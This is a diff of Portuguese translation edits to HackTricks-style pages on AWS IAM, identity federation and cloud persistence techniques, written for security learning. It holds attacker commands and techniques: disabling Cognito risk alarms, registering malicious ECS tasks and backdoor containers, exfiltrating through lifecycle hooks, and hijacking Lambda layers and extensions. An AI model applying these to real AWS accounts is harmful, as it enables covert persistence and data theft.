|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
```
|
||||
Note que, por padrão, **a AWS pode adicionar políticas de sessão às sessões** que estão prestes a ser geradas por razões de terceiros. Por exemplo, em [funções assumidas do cognito não autenticadas](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por padrão (usando autenticação aprimorada), a AWS gerará **credenciais de sessão com uma política de sessão** que limita os serviços que a sessão pode acessar [**à seguinte lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
Note que, por padrão, **a AWS pode adicionar políticas de sessão às sessões** que estão prestes a ser geradas por outros motivos. Por exemplo, em [funções assumidas do cognito não autenticadas](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por padrão (usando autenticação aprimorada), a AWS gerará **credenciais de sessão com uma política de sessão** que limita os serviços que a sessão pode acessar [**à seguinte lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
Portanto, se em algum momento você enfrentar o erro "... porque nenhuma política de sessão permite o ...", e a função tem acesso para realizar a ação, é porque **há uma política de sessão impedindo isso**.
|
||||
|
||||
### Federação de Identidade
|
||||
|
||||
A federação de identidade **permite que usuários de provedores de identidade que são externos** à AWS acessem recursos da AWS de forma segura, sem precisar fornecer credenciais de usuário da AWS de uma conta IAM válida.\
|
||||
Um exemplo de um provedor de identidade pode ser o seu próprio **Microsoft Active Directory** corporativo (via **SAML**) ou serviços de **OpenID** (como **Google**). O acesso federado permitirá que os usuários dentro dele acessem a AWS.
|
||||
Um exemplo de um provedor de identidade pode ser seu próprio **Microsoft Active Directory** corporativo (via **SAML**) ou serviços **OpenID** (como **Google**). O acesso federado permitirá que os usuários dentro dele acessem a AWS.
|
||||
|
||||
Para configurar essa confiança, um **Provedor de Identidade IAM é gerado (SAML ou OAuth)** que **confiará** na **outra plataforma**. Em seguida, pelo menos uma **função IAM é atribuída (confiando) ao Provedor de Identidade**. Se um usuário da plataforma confiável acessar a AWS, ele estará acessando como a função mencionada.
|
||||
|
||||
@@ -243,7 +243,7 @@ No entanto, você geralmente desejará dar uma **função diferente dependendo d
|
||||
|
||||
### Centro de Identidade IAM
|
||||
|
||||
O AWS IAM Identity Center (sucessor do AWS Single Sign-On) expande as capacidades do AWS Identity and Access Management (IAM) para fornecer um **local central** que reúne a **administração de usuários e seu acesso a contas** da AWS e aplicativos em nuvem.
|
||||
O AWS IAM Identity Center (sucessor do AWS Single Sign-On) expande as capacidades do AWS Identity and Access Management (IAM) para fornecer um **local central** que reúne **administração de usuários e seu acesso a contas AWS** e aplicativos em nuvem.
|
||||
|
||||
O domínio de login será algo como `<user_input>.awsapps.com`.
|
||||
|
||||
@@ -263,20 +263,20 @@ Para dar acesso a um usuário/grupo do Identity Center a uma conta, um **Provedo
|
||||
|
||||
É possível **dar permissões via políticas inline para funções criadas via IAM Identity Center**. As funções criadas nas contas que estão sendo dadas **políticas inline no AWS Identity Center** terão essas permissões em uma política inline chamada **`AwsSSOInlinePolicy`**.
|
||||
|
||||
Portanto, mesmo que você veja 2 funções com uma política inline chamada **`AwsSSOInlinePolicy`**, isso **não significa que elas têm as mesmas permissões**.
|
||||
Portanto, mesmo que você veja 2 funções com uma política inline chamada **`AwsSSOInlinePolicy`**, isso **não significa que tenha as mesmas permissões**.
|
||||
|
||||
### Confianças e Funções entre Contas
|
||||
### Confiança e Funções entre Contas
|
||||
|
||||
**Um usuário** (confiando) pode criar uma Função entre Contas com algumas políticas e, em seguida, **permitir que outro usuário** (confiável) **acesse sua conta**, mas apenas **tendo o acesso indicado nas novas políticas da função**. Para criar isso, basta criar uma nova Função e selecionar Função entre Contas. Funções para Acesso entre Contas oferecem duas opções. Fornecendo acesso entre contas da AWS que você possui e fornecendo acesso entre uma conta que você possui e uma conta AWS de terceiros.\
|
||||
É recomendado **especificar o usuário que é confiável e não colocar algo genérico**, porque, caso contrário, outros usuários autenticados, como usuários federados, também poderão abusar dessa confiança.
|
||||
**Um usuário** (confiando) pode criar uma Função entre Contas com algumas políticas e, em seguida, **permitir que outro usuário** (confiável) **acesse sua conta**, mas apenas **tendo o acesso indicado nas novas políticas da função**. Para criar isso, basta criar uma nova Função e selecionar Função entre Contas. Funções para Acesso entre Contas oferecem duas opções. Fornecendo acesso entre contas AWS que você possui e fornecendo acesso entre uma conta que você possui e uma conta AWS de terceiros.\
|
||||
É recomendável **especificar o usuário que é confiável e não colocar algo genérico**, porque, caso contrário, outros usuários autenticados, como usuários federados, também poderão abusar dessa confiança.
|
||||
|
||||
### AWS Simple AD
|
||||
|
||||
Não suportado:
|
||||
|
||||
- Relações de Confiança
|
||||
- Centro de Administração do AD
|
||||
- Suporte completo à API PS
|
||||
- AD Admin Center
|
||||
- Suporte total à API PS
|
||||
- Lixeira do AD
|
||||
- Contas de Serviço Gerenciadas por Grupo
|
||||
- Extensões de Esquema
|
||||
@@ -289,7 +289,7 @@ O aplicativo usa o AssumeRoleWithWebIdentity para criar credenciais temporárias
|
||||
### Outras opções IAM
|
||||
|
||||
- Você pode **definir uma configuração de política de senha** com opções como comprimento mínimo e requisitos de senha.
|
||||
- Você pode **baixar o "Relatório de Credenciais"** com informações sobre credenciais atuais (como tempo de criação do usuário, se a senha está habilitada...). Você pode gerar um relatório de credenciais com a frequência de uma vez a cada **quatro horas**.
|
||||
- Você pode **baixar o "Relatório de Credenciais"** com informações sobre credenciais atuais (como tempo de criação do usuário, se a senha está habilitada...). Você pode gerar um relatório de credenciais com frequência de até uma vez a cada **quatro horas**.
|
||||
|
||||
O AWS Identity and Access Management (IAM) fornece **controle de acesso detalhado** em toda a AWS. Com o IAM, você pode especificar **quem pode acessar quais serviços e recursos**, e sob quais condições. Com as políticas IAM, você gerencia permissões para sua força de trabalho e sistemas para **garantir permissões de menor privilégio**.
|
||||
|
||||
@@ -353,7 +353,7 @@ role_session_name = <session_name>
|
||||
source_profile = <profile_with_assume_role>
|
||||
sts_regional_endpoints = regional
|
||||
```
|
||||
Com este arquivo de configuração, você pode usar aws cli assim:
|
||||
Com este arquivo de configuração, você pode então usar aws cli como:
|
||||
```
|
||||
aws --profile acc2 ...
|
||||
```
|
||||
|
||||
@@ -16,8 +16,8 @@ Para configurar uma **Federação de Identidade através do SAML**, você só pr
|
||||
|
||||
Para adicionar uma ação do github como provedor de identidade:
|
||||
|
||||
1. Para _Tipo de provedor_, selecione **OpenID Connect**.
|
||||
2. Para _URL do provedor_, insira `https://token.actions.githubusercontent.com`
|
||||
1. Para _Tipo de Provedor_, selecione **OpenID Connect**.
|
||||
2. Para _URL do Provedor_, insira `https://token.actions.githubusercontent.com`
|
||||
3. Clique em _Obter impressão digital_ para obter a impressão digital do provedor
|
||||
4. Para _Público_, insira `sts.amazonaws.com`
|
||||
5. Crie um **novo papel** com as **permissões** que a ação do github precisa e uma **política de confiança** que confie no provedor como:
|
||||
@@ -78,7 +78,7 @@ role-session-name: OIDCSession
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
```
|
||||
## OIDC - EKS Abuse
|
||||
## OIDC - Abuso de EKS
|
||||
```bash
|
||||
# Crate an EKS cluster (~10min)
|
||||
eksctl create cluster --name demo --fargate
|
||||
@@ -88,7 +88,7 @@ eksctl create cluster --name demo --fargate
|
||||
# Create an Identity Provider for an EKS cluster
|
||||
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
|
||||
```
|
||||
É possível gerar **OIDC providers** em um **EKS** cluster simplesmente definindo a **OIDC URL** do cluster como um **novo provedor de identidade Open ID**. Esta é uma política padrão comum:
|
||||
É possível gerar **provedores OIDC** em um cluster **EKS** simplesmente definindo a **URL OIDC** do cluster como um **novo provedor de identidade Open ID**. Esta é uma política padrão comum:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -108,7 +108,7 @@ eksctl utils associate-iam-oidc-provider --cluster Testing --approve
|
||||
]
|
||||
}
|
||||
```
|
||||
Esta política está corretamente indicando que **apenas** o **cluster EKS** com **id** `20C159CDF6F2349B68846BEC03BE031B` pode assumir a função. No entanto, não está indicando qual conta de serviço pode assumi-la, o que significa que **QUALQUER conta de serviço com um token de identidade da web** poderá **assumir** a função.
|
||||
Esta política está indicando corretamente que **apenas** o **cluster EKS** com **id** `20C159CDF6F2349B68846BEC03BE031B` pode assumir a função. No entanto, não está indicando qual conta de serviço pode assumi-la, o que significa que **QUALQUER conta de serviço com um token de identidade da web** poderá **assumir** a função.
|
||||
|
||||
Para especificar **qual conta de serviço deve ser capaz de assumir a função,** é necessário especificar uma **condição** onde o **nome da conta de serviço é especificado**, como:
|
||||
```bash
|
||||
|
||||
@@ -10,8 +10,8 @@ Estas são as permissões que você precisa em cada conta AWS que deseja auditar
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- Opcional se o cliente gerar os analisadores para você, mas geralmente é mais fácil apenas pedir essa permissão)
|
||||
- Opcional se o cliente gerar os analisadores para você, mas geralmente é mais fácil apenas pedir por essa permissão)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- Opcional se o cliente remover os analisadores para você, mas geralmente é mais fácil apenas pedir essa permissão)
|
||||
- Opcional se o cliente remover os analisadores para você, mas geralmente é mais fácil apenas pedir por essa permissão)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -21,12 +21,12 @@ Ou simplesmente remova o uso do autorizador.
|
||||
|
||||
### Permissões IAM
|
||||
|
||||
Se um recurso estiver usando autorizador IAM, você pode conceder a si mesmo acesso a ele modificando as permissões IAM.\
|
||||
Se um recurso estiver usando autorizador IAM, você pode se conceder acesso a ele modificando as permissões IAM.\
|
||||
Ou simplesmente remova o uso do autorizador.
|
||||
|
||||
### Chaves de API
|
||||
|
||||
Se chaves de API forem usadas, você pode vazá-las para manter a persistência ou até mesmo criar novas.\
|
||||
Ou simplesmente remova o uso de chaves de API.
|
||||
Ou simplesmente remova o uso das chaves de API.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -16,7 +16,7 @@ Cognito é um serviço que permite atribuir funções a usuários não autentica
|
||||
|
||||
- **Adicionar um User Pool** controlado pelo usuário a um Identity Pool
|
||||
- Dar uma **função IAM a um Identity Pool não autenticado e permitir o fluxo de autenticação básica**
|
||||
- Ou a um **Identity Pool autenticado** se o atacante conseguir fazer login
|
||||
- Ou a um **Identity Pool autenticado** se o atacante puder fazer login
|
||||
- Ou **melhorar as permissões** das funções dadas
|
||||
- **Criar, verificar e privesc** via atributos controlados por usuários ou novos usuários em um **User Pool**
|
||||
- **Permitir provedores de identidade externos** para fazer login em um User Pool ou em um Identity Pool
|
||||
@@ -29,7 +29,7 @@ Verifique como realizar essas ações em
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Um atacante com esse privilégio poderia modificar a configuração de risco para conseguir fazer login como um usuário do Cognito **sem que alarmes sejam acionados**. [**Confira o cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para verificar todas as opções:
|
||||
Um atacante com esse privilégio poderia modificar a configuração de risco para poder fazer login como um usuário Cognito **sem que alarmes sejam acionados**. [**Confira o cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para verificar todas as opções:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - EC2 Persistence
|
||||
# AWS - Persistência EC2
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -14,12 +14,12 @@ Para mais informações, consulte:
|
||||
|
||||
Se um defensor descobrir que uma **instância EC2 foi comprometida**, ele provavelmente tentará **isolar** a **rede** da máquina. Ele poderia fazer isso com um **Deny NACL** explícito (mas os NACLs afetam toda a sub-rede), ou **mudando o grupo de segurança** para não permitir **qualquer tipo de tráfego de entrada ou saída**.
|
||||
|
||||
Se o atacante tiver um **shell reverso originado da máquina**, mesmo que o SG seja modificado para não permitir tráfego de entrada ou saída, a **conexão não será encerrada devido ao** [**Rastreamento de Conexão do Grupo de Segurança**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
Se o atacante tiver um **reverse shell originado da máquina**, mesmo que o SG seja modificado para não permitir tráfego de entrada ou saída, a **conexão não será encerrada devido ao** [**Rastreamento de Conexão do Grupo de Segurança**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### Gerenciador de Ciclo de Vida do EC2
|
||||
### Gerenciador de Ciclo de Vida EC2
|
||||
|
||||
Este serviço permite **agendar** a **criação de AMIs e snapshots** e até mesmo **compartilhá-los com outras contas**.\
|
||||
Um atacante poderia configurar a **geração de AMIs ou snapshots** de todas as imagens ou todos os volumes **toda semana** e **compartilhá-los com sua conta**.
|
||||
Um atacante poderia configurar a **geração de AMIs ou snapshots** de todas as imagens ou de todos os volumes **toda semana** e **compartilhá-los com sua conta**.
|
||||
|
||||
### Instâncias Agendadas
|
||||
|
||||
@@ -27,27 +27,27 @@ Um atacante poderia configurar a **geração de AMIs ou snapshots** de todas as
|
||||
|
||||
### Solicitação de Frota Spot
|
||||
|
||||
Instâncias spot são **mais baratas** do que instâncias regulares. Um atacante poderia lançar uma **pequena solicitação de frota spot por 5 anos** (por exemplo), com **atribuição automática de IP** e um **dados do usuário** que envia para o atacante **quando a instância spot iniciar** e o **endereço IP** e com um **papel IAM de alto privilégio**.
|
||||
Instâncias spot são **mais baratas** do que instâncias regulares. Um atacante poderia lançar uma **pequena solicitação de frota spot por 5 anos** (por exemplo), com **atribuição automática de IP** e um **user data** que envia para o atacante **quando a instância spot iniciar** e o **endereço IP** e com um **papel IAM de alto privilégio**.
|
||||
|
||||
### Instâncias de Backdoor
|
||||
|
||||
Um atacante poderia obter acesso às instâncias e backdoor elas:
|
||||
|
||||
- Usando um **rootkit** tradicional, por exemplo
|
||||
- Adicionando uma nova **chave SSH pública** (ver [opções de privesc do EC2](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Backdooring os **Dados do Usuário**
|
||||
- Adicionando uma nova **chave SSH pública** (ver [opções de privesc EC2](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Backdooring os **User Data**
|
||||
|
||||
### **Configuração de Lançamento de Backdoor**
|
||||
|
||||
- Backdoor a AMI utilizada
|
||||
- Backdoor os Dados do Usuário
|
||||
- Backdoor os User Data
|
||||
- Backdoor o Par de Chaves
|
||||
|
||||
### VPN
|
||||
|
||||
Criar uma VPN para que o atacante possa se conectar diretamente através dela ao VPC.
|
||||
|
||||
### Peering de VPC
|
||||
### Peering VPC
|
||||
|
||||
Criar uma conexão de peering entre o VPC da vítima e o VPC do atacante para que ele possa acessar o VPC da vítima.
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@ Para mais informações, consulte:
|
||||
|
||||
### Imagem Docker Oculta com Código Malicioso
|
||||
|
||||
Um atacante poderia **carregar uma imagem Docker contendo código malicioso** em um repositório ECR e usá-la para manter a persistência na conta AWS alvo. O atacante poderia então implantar a imagem maliciosa em vários serviços dentro da conta, como Amazon ECS ou EKS, de maneira furtiva.
|
||||
Um atacante poderia **fazer upload de uma imagem Docker contendo código malicioso** para um repositório ECR e usá-la para manter a persistência na conta AWS alvo. O atacante poderia então implantar a imagem maliciosa em vários serviços dentro da conta, como Amazon ECS ou EKS, de maneira furtiva.
|
||||
|
||||
### Política do Repositório
|
||||
|
||||
@@ -43,7 +43,7 @@ aws ecr set-repository-policy \
|
||||
> [!WARNING]
|
||||
> Note que o ECR requer que os usuários tenham **permissão** para fazer chamadas à API **`ecr:GetAuthorizationToken`** através de uma política IAM **antes que possam se autenticar** em um registro e enviar ou puxar quaisquer imagens de qualquer repositório Amazon ECR.
|
||||
|
||||
### Política de Registro & Replicação entre Contas
|
||||
### Política de Registro e Replicação entre Contas
|
||||
|
||||
É possível replicar automaticamente um registro em uma conta externa configurando a replicação entre contas, onde você precisa **indicar a conta externa** onde deseja replicar o registro.
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - ECS Persistence
|
||||
# AWS - Persistência do ECS
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,12 +10,12 @@ Para mais informações, consulte:
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Tarefa Periódica ECS Oculta
|
||||
### Tarefa Periódica Oculta do ECS
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar
|
||||
|
||||
Um atacante pode criar uma tarefa periódica ECS oculta usando o Amazon EventBridge para **agendar a execução de uma tarefa maliciosa periodicamente**. Esta tarefa pode realizar reconhecimento, exfiltrar dados ou manter persistência na conta AWS.
|
||||
Um atacante pode criar uma tarefa periódica oculta do ECS usando o Amazon EventBridge para **agendar a execução de uma tarefa maliciosa periodicamente**. Esta tarefa pode realizar reconhecimento, exfiltrar dados ou manter persistência na conta AWS.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
@@ -44,12 +44,12 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Backdoor Container em Definição de Tarefa ECS Existente
|
||||
### Contêiner de Backdoor na Definição de Tarefa ECS Existente
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar
|
||||
|
||||
Um atacante pode adicionar um **container de backdoor furtivo** em uma definição de tarefa ECS existente que roda ao lado de containers legítimos. O container de backdoor pode ser usado para persistência e realizar atividades maliciosas.
|
||||
Um atacante pode adicionar um **contêiner de backdoor furtivo** em uma definição de tarefa ECS existente que roda ao lado de contêineres legítimos. O contêiner de backdoor pode ser usado para persistência e realização de atividades maliciosas.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
|
||||
+2
-2
@@ -12,7 +12,7 @@ Para mais informações, consulte:
|
||||
|
||||
### Persistência na Instância
|
||||
|
||||
Para manter a persistência dentro da conta AWS, algum **mecanismo de persistência poderia ser introduzido dentro da instância** (cron job, chave ssh...) para que o atacante possa acessá-la e roubar as **credenciais do IAM role do serviço de metadados**.
|
||||
Para manter a persistência dentro da conta AWS, alguns **mecanismos de persistência podem ser introduzidos dentro da instância** (cron job, chave ssh...) para que o atacante possa acessá-la e roubar as **credenciais do IAM role do serviço de metadados**.
|
||||
|
||||
### Backdoor na Versão
|
||||
|
||||
@@ -27,7 +27,7 @@ Em vez de alterar o código na versão atual, o atacante poderia implantar uma n
|
||||
> [!NOTE]
|
||||
> TODO: Testar
|
||||
|
||||
O Elastic Beanstalk fornece hooks de ciclo de vida que permitem executar scripts personalizados durante o provisionamento e a terminação da instância. Um atacante poderia **configurar um hook de ciclo de vida para executar periodicamente um script que exfiltra dados ou mantém o acesso à conta AWS**.
|
||||
O Elastic Beanstalk fornece hooks de ciclo de vida que permitem executar scripts personalizados durante a provisão e a terminação da instância. Um atacante poderia **configurar um hook de ciclo de vida para executar periodicamente um script que exfiltra dados ou mantém acesso à conta AWS**.
|
||||
```bash
|
||||
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
|
||||
@@ -32,6 +32,6 @@ aws kms create-grant \
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Um grant pode conceder permissões apenas a partir disso: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
> Uma concessão pode conceder permissões apenas a partir disso: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -43,7 +43,7 @@ Dessa forma, um atacante poderia criar uma **versão 1 com backdoor** e uma **ve
|
||||
### Backdoor de Versão + API Gateway
|
||||
|
||||
1. Copie o código original do Lambda
|
||||
2. **Crie uma nova versão backdooring** o código original (ou apenas com código malicioso). Publique e **implante essa versão** em $LATEST
|
||||
2. **Crie uma nova versão com backdoor** no código original (ou apenas com código malicioso). Publique e **implante essa versão** em $LATEST
|
||||
1. Chame o API gateway relacionado ao lambda para executar o código
|
||||
3. **Crie uma nova versão com o código original**, publique e implante essa **versão** em $LATEST.
|
||||
1. Isso ocultará o código com backdoor em uma versão anterior
|
||||
|
||||
+9
-9
@@ -4,10 +4,10 @@
|
||||
|
||||
## Extensões Lambda
|
||||
|
||||
As extensões Lambda aprimoram funções integrando-se a várias **ferramentas de monitoramento, observabilidade, segurança e governança**. Essas extensões, adicionadas via [.zip archives usando camadas Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ou incluídas em [implantações de imagens de contêiner](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operam em dois modos: **interno** e **externo**.
|
||||
As extensões Lambda aprimoram funções integrando-se a várias **ferramentas de monitoramento, observabilidade, segurança e governança**. Essas extensões, adicionadas via [.zip archives usando Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ou incluídas em [implantações de imagens de contêiner](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operam em dois modos: **interno** e **externo**.
|
||||
|
||||
- **Extensões internas** se fundem com o processo de tempo de execução, manipulando seu início usando **variáveis de ambiente específicas de linguagem** e **scripts de wrapper**. Essa personalização se aplica a uma variedade de tempos de execução, incluindo **Java Correto 8 e 11, Node.js 10 e 12, e .NET Core 3.1**.
|
||||
- **Extensões externas** são executadas como processos separados, mantendo a operação alinhada com o ciclo de vida da função Lambda. Elas são compatíveis com vários tempos de execução, como **Node.js 10 e 12, Python 3.7 e 3.8, Ruby 2.5 e 2.7, Java Corretto 8 e 11, .NET Core 3.1**, e **tempos de execução personalizados**.
|
||||
- **Extensões internas** se fundem com o processo de runtime, manipulando seu início usando **variáveis de ambiente específicas de linguagem** e **scripts wrapper**. Essa personalização se aplica a uma variedade de runtimes, incluindo **Java Correto 8 e 11, Node.js 10 e 12, e .NET Core 3.1**.
|
||||
- **Extensões externas** funcionam como processos separados, mantendo a operação alinhada com o ciclo de vida da função Lambda. Elas são compatíveis com vários runtimes como **Node.js 10 e 12, Python 3.7 e 3.8, Ruby 2.5 e 2.7, Java Corretto 8 e 11, .NET Core 3.1**, e **runtimes personalizados**.
|
||||
|
||||
Para mais informações sobre [**como as extensões lambda funcionam, consulte a documentação**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
|
||||
@@ -15,24 +15,24 @@ Para mais informações sobre [**como as extensões lambda funcionam, consulte a
|
||||
|
||||
Este é um resumo da técnica proposta neste post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
Foi descoberto que o kernel Linux padrão no ambiente de execução Lambda é compilado com chamadas de sistema “**process_vm_readv**” e “**process_vm_writev**”. E todos os processos são executados com o mesmo ID de usuário, mesmo o novo processo criado para a extensão externa. **Isso significa que uma extensão externa tem acesso total de leitura e gravação à memória heap do Rapid, por design.**
|
||||
Foi descoberto que o kernel Linux padrão no ambiente de runtime Lambda é compilado com chamadas de sistema “**process_vm_readv**” e “**process_vm_writev**”. E todos os processos são executados com o mesmo ID de usuário, mesmo o novo processo criado para a extensão externa. **Isso significa que uma extensão externa tem acesso total de leitura e escrita à memória heap do Rapid, por design.**
|
||||
|
||||
Além disso, enquanto as extensões Lambda têm a capacidade de **se inscrever em eventos de invocação**, a AWS não revela os dados brutos para essas extensões. Isso garante que **as extensões não podem acessar informações sensíveis** transmitidas via a requisição HTTP.
|
||||
|
||||
O processo Init (Rapid) monitora todas as requisições de API em [http://127.0.0.1:9001](http://127.0.0.1:9001/) enquanto as extensões Lambda são inicializadas e executadas antes da execução de qualquer código de tempo de execução, mas após o Rapid.
|
||||
O processo Init (Rapid) monitora todas as requisições de API em [http://127.0.0.1:9001](http://127.0.0.1:9001/) enquanto as extensões Lambda são inicializadas e executadas antes da execução de qualquer código de runtime, mas após o Rapid.
|
||||
|
||||
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
|
||||
|
||||
A variável **`AWS_LAMBDA_RUNTIME_API`** indica o **IP** e o número da **porta** da API Rapid para **processos de tempo de execução filhos** e extensões adicionais.
|
||||
A variável **`AWS_LAMBDA_RUNTIME_API`** indica o **IP** e o **número da porta** da API Rapid para **processos de runtime filhos** e extensões adicionais.
|
||||
|
||||
> [!WARNING]
|
||||
> Ao alterar a variável de ambiente **`AWS_LAMBDA_RUNTIME_API`** para uma **`porta`** à qual temos acesso, é possível interceptar todas as ações dentro do tempo de execução Lambda (**man-in-the-middle**). Isso é possível porque a extensão é executada com os mesmos privilégios que o Rapid Init, e o kernel do sistema permite a **modificação da memória do processo**, possibilitando a alteração do número da porta.
|
||||
> Ao alterar a variável de ambiente **`AWS_LAMBDA_RUNTIME_API`** para uma **`porta`** à qual temos acesso, é possível interceptar todas as ações dentro do runtime Lambda (**man-in-the-middle**). Isso é possível porque a extensão é executada com os mesmos privilégios que o Rapid Init, e o kernel do sistema permite a **modificação da memória do processo**, possibilitando a alteração do número da porta.
|
||||
|
||||
Como **as extensões são executadas antes de qualquer código de tempo de execução**, modificar a variável de ambiente influenciará o processo de tempo de execução (por exemplo, Python, Java, Node, Ruby) à medida que ele inicia. Além disso, **extensões carregadas após** a nossa, que dependem dessa variável, também serão roteadas através da nossa extensão. Essa configuração poderia permitir que malware contornasse completamente as medidas de segurança ou extensões de registro diretamente dentro do ambiente de tempo de execução.
|
||||
Como **as extensões são executadas antes de qualquer código de runtime**, modificar a variável de ambiente influenciará o processo de runtime (por exemplo, Python, Java, Node, Ruby) à medida que ele inicia. Além disso, **extensões carregadas após** a nossa, que dependem dessa variável, também serão roteadas através da nossa extensão. Essa configuração poderia permitir que malware contornasse completamente as medidas de segurança ou extensões de registro diretamente dentro do ambiente de runtime.
|
||||
|
||||
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
|
||||
|
||||
A ferramenta [**lambda-spy**](https://github.com/clearvector/lambda-spy) foi criada para realizar essa **gravação de memória** e **roubar informações sensíveis** de requisições lambda, outras **requisições de extensões** e até mesmo **modificá-las**.
|
||||
A ferramenta [**lambda-spy**](https://github.com/clearvector/lambda-spy) foi criada para realizar essa **escrita de memória** e **roubar informações sensíveis** de requisições lambda, outras **requisições de extensões** e até mesmo **modificá-las**.
|
||||
|
||||
## Referências
|
||||
|
||||
|
||||
+7
-7
@@ -21,20 +21,20 @@ O caminho de carregamento que o Python usará na lambda é o seguinte:
|
||||
Verifique como as **segundas** e **terceiras** **posições** são ocupadas por diretórios onde **lambda layers** descompactam seus arquivos: **`/opt/python/lib/python3.9/site-packages`** e **`/opt/python`**
|
||||
|
||||
> [!CAUTION]
|
||||
> Se um atacante conseguir **backdoor** uma **layer** lambda usada ou **adicionar uma** que estará **executando código arbitrário quando uma biblioteca comum for carregada**, ele poderá executar código malicioso com cada invocação da lambda.
|
||||
> Se um atacante conseguir **backdoor** em uma **layer** lambda usada ou **adicionar uma** que estará **executando código arbitrário quando uma biblioteca comum for carregada**, ele poderá executar código malicioso com cada invocação de lambda.
|
||||
|
||||
Portanto, os requisitos são:
|
||||
|
||||
- **Verificar bibliotecas** que são **carregadas** pelo código das vítimas
|
||||
- **Verificar bibliotecas** que estão **carregadas** pelo código das vítimas
|
||||
- Criar uma **biblioteca proxy com lambda layers** que irá **executar código personalizado** e **carregar a biblioteca original**.
|
||||
|
||||
### Bibliotecas pré-carregadas
|
||||
|
||||
> [!WARNING]
|
||||
> Ao abusar dessa técnica, encontrei uma dificuldade: Algumas bibliotecas já estão **carregadas** no tempo de execução do python quando seu código é executado. Eu esperava encontrar coisas como `os` ou `sys`, mas **até a biblioteca `json` estava carregada**.\
|
||||
> Ao abusar dessa técnica, encontrei uma dificuldade: Algumas bibliotecas já estão **carregadas** no runtime do python quando seu código é executado. Eu esperava encontrar coisas como `os` ou `sys`, mas **até a biblioteca `json` estava carregada**.\
|
||||
> Para abusar dessa técnica de persistência, o código precisa **carregar uma nova biblioteca que não esteja carregada** quando o código é executado.
|
||||
|
||||
Com um código python como este, é possível obter a **lista de bibliotecas que estão pré-carregadas** dentro do tempo de execução do python na lambda:
|
||||
Com um código python como este, é possível obter a **lista de bibliotecas que estão pré-carregadas** dentro do runtime do python em lambda:
|
||||
```python
|
||||
import sys
|
||||
|
||||
@@ -50,7 +50,7 @@ E esta é a **lista** (verifique se bibliotecas como `os` ou `json` já estão l
|
||||
```
|
||||
